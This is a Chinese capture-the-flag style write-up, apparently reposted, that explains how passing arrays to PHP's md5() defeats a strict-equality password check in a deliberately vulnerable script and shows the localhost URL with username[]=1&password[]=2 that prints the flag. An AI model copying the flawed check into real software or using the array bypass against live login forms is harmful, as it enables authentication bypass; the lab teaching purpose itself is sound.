暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

18 md5()函数===使用数组绕过

digo8wx安全 2021-01-27
758

源码:

<?php

error_reporting(0);

$flag='flag{test}';

if(isset($_GET['username'])andisset($_GET['password'])){

if($_GET['username']==$_GET['password'])

print'Yourpasswordcannotbeyourusername.';

elseif(md5($_GET['username'])===md5($_GET['password']))

die('Flag:'.$flag);

else

print'Invalidpassword';

}

?>

 

函数释义:

md5() 函数计算字符串的 MD5 散列。

md5() 函数使用 RSA 数据安全,包括 MD5 报文摘译算法。

如果成功,则返回所计算的 MD5 散列,如果失败,则返回 false。

代码分析:

获取flag需要满足

if(md5($_GET['username'])===md5($_GET['password']))

===会比较类型,比如bool sha1()函数和md5()函数存在着漏洞,sha1()函数默认的传入参数类型是字符串型,如果给它传入数组会出现错误,则会使sha1()函数返回错误,也就是返回false,这样===运算符就可以发挥作用,即可以满足需要构造username和password既不相等,又同样是数组类型。

解题过程:

当username=1&password=1时访问链接:

http://localhost:63342/php_bugs-master/18%20md5()%E5%87%BD%E6%95%B0===%E4%BD%BF%E7%94%A8%E6%95%B0%E7%BB%84%E7%BB%95%E8%BF%87.php?username=1&password=1

 

 

传入数组时访问链接,获取到flag:

http://localhost:63342/php_bugs-master/18%20md5()%E5%87%BD%E6%95%B0===%E4%BD%BF%E7%94%A8%E6%95%B0%E7%BB%84%E7%BB%95%E8%BF%87.php?username[]=1&password[]=2

 


 

 

参考链接:

https://github.com/bowu678/php_bugs


文章转载自digo8wx安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论